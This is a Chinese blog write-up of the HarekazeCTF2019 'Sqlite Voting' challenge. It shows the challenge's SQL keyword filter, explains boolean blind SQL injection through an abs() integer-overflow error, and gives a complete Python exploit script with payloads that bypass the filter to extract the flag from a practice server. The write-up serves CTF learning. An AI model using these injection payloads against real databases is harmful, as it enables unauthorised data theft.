刷题记录:[HarekazeCTF2019]Sqlite Voting

题目复现链接:https://buuoj.cn/challenges
参考链接:https://st98.github.io/diary/posts/2019-05-21-harekaze-ctf-2019.html#web-350-sqlite-voting

针对sqlite的sql注入

SQLite3 Injection Cheat Sheet

首先题目的过滤

function is_valid($str) {
    $banword = [
        // dangerous chars
        // " % ' * + / < = > \ _ ` ~ -
        "[\"%'*+\\/<=>\\\\_`~-]",
        // whitespace chars
        '\s',
        // dangerous functions
        'blob', 'load_extension', 'char', 'unicode',
        '(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp',
        'in', 'limit', 'order', 'union', 'join'
    ];
    $regexp = '/' . implode('|', $banword) . '/i';
    if (preg_match($regexp, $str)) {
        return false;
    }
    return true;
}

当update查询成功时,返回An error occurred while updating database,否则返回An error occurred while updating database,可以通过构造报错进行bool注入
而sqlite中

如果X是整数-9223372036854775808,则abs(X)引发整数溢出错误

exp如下

# coding: utf-8
import binascii
import requests

URL = 'http://850da0af-6028-4221-976b-c35e2d351a5a.node3.buuoj.cn/vote.php'

# フラグの長さを特定
l = 0
i = 0
for j in range(16):
    r = requests.post(URL, data={
        'id': f'abs(case(length(hex((select(flag)from(flag))))&{1 << j})when(0)then(0)else(0x8000000000000000)end)'
    })
    if b'An error occurred' in r.content:
        l |= 1 << j
print('[+] length:', l)

# A-F のテーブルを作成
table = {}
table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
table['C'] = 'trim(hex(typeof(.1)),12567)'
table['D'] = 'trim(hex(0xffffffffffffffff),123)'
table['E'] = 'trim(hex(0.1),1230)'
table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})'

# フラグをゲット!
res = binascii.hexlify(b'flag{').decode().upper()
for i in range(len(res), l):
    for x in '0123456789ABCDEF':
        t = '||'.join(c if c in '0123456789' else table[c] for c in res + x)
        r = requests.post(URL, data={
            'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'
        })
        if b'An error occurred' in r.content:
            res += x
            break
    print(f'[+] flag ({i}/{l}): {res}')
    i += 1
print('[+] flag:', binascii.unhexlify(res).decode())

获取flag长度的payload为abs(case(length(hex((select(flag)from(flag))))&{1 << j})when(0)then(0)else(0x8000000000000000)end)
不能用=的情况下,用&代替

盲注出flag的payload为abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)
基本原理是用replace将已知的flag部分替换为空,通过长度变化与否一位一位爆出来

$ sqlite3
︙
sqlite> create table flag (flag text);
sqlite> insert into flag values ('HarekazeCTF{test}');
sqlite> select length(replace(flag, 'HarekazeCTF{a', '')) from flag;
17
sqlite> select length(replace(flag, 'HarekazeCTF{b', '')) from flag;
17
︙
sqlite> select length(replace(flag, 'HarekazeCTF{s', '')) from flag;
17
sqlite> select length(replace(flag, 'HarekazeCTF{t', '')) from flag;
4

sqlite常规注入

sqlite有一张系统表sqlite_master,其中两个字段namesql分别是所有表的表名,和表的结构(包括列名)
sqlite中没有ascii,用unicode代替

posted @ 2020-02-05 18:00  MustaphaMond  阅读(1254)  评论(0编辑  收藏  举报